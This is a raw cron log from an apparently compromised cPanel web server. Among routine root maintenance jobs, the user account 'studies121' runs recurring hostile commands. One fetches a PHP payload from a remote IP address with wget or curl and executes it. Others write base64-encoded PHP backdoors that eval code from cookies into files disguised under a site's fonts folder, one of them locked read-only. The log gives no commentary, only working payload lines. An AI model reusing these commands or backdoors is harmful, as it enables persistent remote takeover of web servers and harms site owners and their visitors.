Sep  3 12:48:01 ip-184-168-122-23 CROND[8300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:48:01 ip-184-168-122-23 CROND[8299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:48:01 ip-184-168-122-23 CROND[8301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:49:01 ip-184-168-122-23 CROND[8481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:49:01 ip-184-168-122-23 CROND[8483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:49:01 ip-184-168-122-23 CROND[8485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:49:01 ip-184-168-122-23 CROND[8486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:50:01 ip-184-168-122-23 CROND[8575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:50:02 ip-184-168-122-23 CROND[8577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:50:02 ip-184-168-122-23 CROND[8583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:50:02 ip-184-168-122-23 CROND[8585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:51:01 ip-184-168-122-23 CROND[8675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:51:01 ip-184-168-122-23 CROND[8678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:51:01 ip-184-168-122-23 CROND[8677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:51:01 ip-184-168-122-23 CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:52:02 ip-184-168-122-23 CROND[8759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:52:02 ip-184-168-122-23 CROND[8761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:52:02 ip-184-168-122-23 CROND[8762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:52:02 ip-184-168-122-23 CROND[8763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:52:02 ip-184-168-122-23 CROND[8764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:53:01 ip-184-168-122-23 CROND[8854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:53:01 ip-184-168-122-23 CROND[8859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:53:01 ip-184-168-122-23 CROND[8858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:53:01 ip-184-168-122-23 CROND[8860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:54:01 ip-184-168-122-23 CROND[8941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:54:01 ip-184-168-122-23 CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:54:01 ip-184-168-122-23 CROND[8944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:54:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:54:01 ip-184-168-122-23 CROND[8946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:55:01 ip-184-168-122-23 CROND[9041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:55:01 ip-184-168-122-23 CROND[9043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:55:01 ip-184-168-122-23 CROND[9044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:55:01 ip-184-168-122-23 CROND[9045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:55:01 ip-184-168-122-23 CROND[9046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:55:01 ip-184-168-122-23 CROND[9047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:56:01 ip-184-168-122-23 CROND[9211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:56:01 ip-184-168-122-23 CROND[9213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:56:01 ip-184-168-122-23 CROND[9215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:56:01 ip-184-168-122-23 CROND[9214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:56:01 ip-184-168-122-23 CROND[9216]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:57:02 ip-184-168-122-23 CROND[9321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:57:02 ip-184-168-122-23 CROND[9322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:57:02 ip-184-168-122-23 CROND[9324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:57:02 ip-184-168-122-23 CROND[9323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:58:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:58:01 ip-184-168-122-23 CROND[9442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:58:01 ip-184-168-122-23 CROND[9444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:58:01 ip-184-168-122-23 CROND[9445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:58:01 ip-184-168-122-23 CROND[9443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:59:01 ip-184-168-122-23 CROND[9529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:59:01 ip-184-168-122-23 CROND[9531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:59:01 ip-184-168-122-23 CROND[9532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:59:01 ip-184-168-122-23 CROND[9533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:00:01 ip-184-168-122-23 CROND[9631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:00:01 ip-184-168-122-23 CROND[9633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:00:01 ip-184-168-122-23 CROND[9634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
